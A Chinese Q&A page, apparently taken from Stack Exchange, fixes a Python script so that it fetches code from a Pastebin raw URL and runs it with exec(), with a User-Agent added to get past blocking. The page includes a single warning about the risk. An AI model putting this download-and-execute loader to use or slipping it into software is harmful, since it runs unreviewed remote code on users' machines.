如何运行Python字符串中的代码?从Pastebin获取代码后无法执行求解
问题原因与解决办法
核心问题分析
main()函数仅引用了test变量,没有任何触发代码执行的逻辑——就算成功拿到Pastebin的代码,也不会运行。get_code()里的except: pass会吞掉所有异常,包括请求失败、解码错误等,导致你完全看不到问题出在哪。- 缺少对获取到的代码的执行逻辑,没有把字符串形式的代码转化为可执行的操作。
修正后的代码
import os from json import loads, dumps from base64 import b64decode from urllib.request import Request, urlopen from subprocess import Popen, PIPE def get_code(): test = 'None' try: # 添加User-Agent,避免被Pastebin的反爬机制拦截 req = Request('https://pastebin.com/raw/4dnZntN3', headers={'User-Agent': 'Mozilla/5.0'}) test = urlopen(req).read().decode() except Exception as e: # 打印异常信息,方便排查问题 print(f"获取代码失败: {str(e)}") return test test = get_code() def main(): if test != 'None' and test.strip(): try: # 执行获取到的代码 exec(test) except Exception as e: print(f"执行代码失败: {str(e)}") else: print("未获取到有效代码") main()
关键修正说明
- 添加请求头:Pastebin会拦截不带
User-Agent的请求,添加UA可以避免被拦截导致获取失败。 - 异常捕获优化:替换空的异常捕获为打印具体错误信息,能快速定位请求或解码环节的问题。
- 添加代码执行逻辑:使用
exec()将获取到的字符串代码转为可执行逻辑,但必须注意:执行外部来源的代码存在极高安全风险,仅在你完全信任该Pastebin链接内容的情况下使用。
内容的提问来源于stack exchange,提问作者pamp
相关产品推荐
相关产品推荐

